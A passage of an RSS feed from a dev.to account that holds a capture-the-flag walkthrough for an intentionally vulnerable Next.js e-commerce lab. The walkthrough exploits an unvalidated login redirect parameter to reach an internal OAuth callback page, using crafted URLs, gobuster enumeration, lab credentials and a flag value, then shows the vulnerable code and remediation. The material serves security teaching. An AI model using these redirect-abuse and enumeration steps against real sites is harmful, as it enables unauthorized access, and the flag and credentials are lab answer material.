Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>node</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How one unchecked redirect param let me into an internal OAuth page</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Fri, 14 Aug 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/how-one-unchecked-redirect-param-let-me-into-an-internal-oauth-page-3g9</link>
      <guid>https://dev.to/oopssec-store/how-one-unchecked-redirect-param-let-me-into-an-internal-oauth-page-3g9</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Exploit an unvalidated redirect parameter on OopsSec Store's login page to reach a restricted internal OAuth callback endpoint.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OopsSec Store's login page accepts a &lt;code&gt;redirect&lt;/code&gt; query parameter that isn't validated after authentication. We'll abuse this to navigate to an internal endpoint that's otherwise inaccessible.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The application runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;

&lt;p&gt;The app has a login page at &lt;code&gt;http://localhost:3000/login&lt;/code&gt;. Try visiting &lt;code&gt;/profile&lt;/code&gt; while logged out and you'll get bounced to:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://localhost:3000/login?redirect=%2Fprofile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That &lt;code&gt;redirect&lt;/code&gt; parameter tells the app where to send you after login.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Confirming the redirect behavior
&lt;/h3&gt;

&lt;p&gt;First, verify the redirect actually works:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open an incognito window&lt;/li&gt;
&lt;li&gt;Go to &lt;code&gt;http://localhost:3000/profile&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Notice you land on &lt;code&gt;/login?redirect=%2Fprofile&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Log in with &lt;code&gt;alice@example.com&lt;/code&gt; / &lt;code&gt;iloveduck&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;You end up on &lt;code&gt;/profile&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So the parameter does control post-login navigation.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 2: Testing for open redirect
&lt;/h3&gt;

&lt;p&gt;Now try an external URL:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;code&gt;http://localhost:3000/login?redirect=https://github.com/kOaDT/oss-oopssec-store&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Log in&lt;/li&gt;
&lt;li&gt;You land on GitHub&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fytrsoagsgsz2nuqu0f7q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fytrsoagsgsz2nuqu0f7q.png" alt="GitHub" width="800" height="546"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No validation at all. The app redirects to an external domain.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3: Discovering internal endpoints
&lt;/h3&gt;

&lt;p&gt;With the open redirect confirmed, let's look for internal resources worth targeting:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://localhost:3000/internal &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This turns up &lt;code&gt;/internal/oauth/callback&lt;/code&gt;. Visiting it directly while authenticated just kicks you back to the homepage. The page exists, but it won't render through normal navigation.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Exploiting the redirect to access the internal page
&lt;/h3&gt;

&lt;p&gt;Here's the trick: the internal callback page needs a specific cookie that only gets set during login when a redirect parameter is present.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;code&gt;http://localhost:3000/login?redirect=/internal/oauth/callback&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Log in with &lt;code&gt;alice@example.com&lt;/code&gt; / &lt;code&gt;iloveduck&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;You land on &lt;code&gt;/internal/oauth/callback&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Step 5: Retrieving the flag
&lt;/h3&gt;

&lt;p&gt;This time the page renders. It shows an internal debug interface with OAuth provider status and the flag:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSS{0p3n_r3d1r3ct_l0g1n_byp4ss}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz2og55j9d40oplab69nb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz2og55j9d40oplab69nb.png" alt="Flag" width="800" height="546"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;In the login form component, the code grabs the &lt;code&gt;redirect&lt;/code&gt; parameter and navigates to it with zero checks:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;redirect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// After successful login:&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ADMIN&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;window.location.href&lt;/code&gt; will go anywhere. Relative paths, same-origin, external domains. Nothing stops it.&lt;/p&gt;

&lt;p&gt;The login API also sets a short-lived &lt;code&gt;oauth_callback&lt;/code&gt; cookie whenever a redirect parameter is present. The internal callback page checks for this cookie, which is why you can't reach it by just typing the URL in your browser. You have to go through the login flow.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;The fix: validate the redirect target before navigating.&lt;/p&gt;
&lt;h3&gt;
  
  
  Relative path validation
&lt;/h3&gt;

&lt;p&gt;The simplest approach. Only allow paths starting with a single &lt;code&gt;/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isSafeRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;//&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;isSafeRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  URL parsing and origin check
&lt;/h3&gt;

&lt;p&gt;More robust. Parse the URL and compare origins:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isSameOrigin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Allowlist approach
&lt;/h3&gt;

&lt;p&gt;If you only have a handful of valid destinations, just list them:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ALLOWED_REDIRECTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/profile&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/orders&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/cart&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;ALLOWED_REDIRECTS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Whichever approach you pick, using &lt;code&gt;router.push()&lt;/code&gt; instead of &lt;code&gt;window.location.href&lt;/code&gt; also helps since Next.js router only handles same-origin routes.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
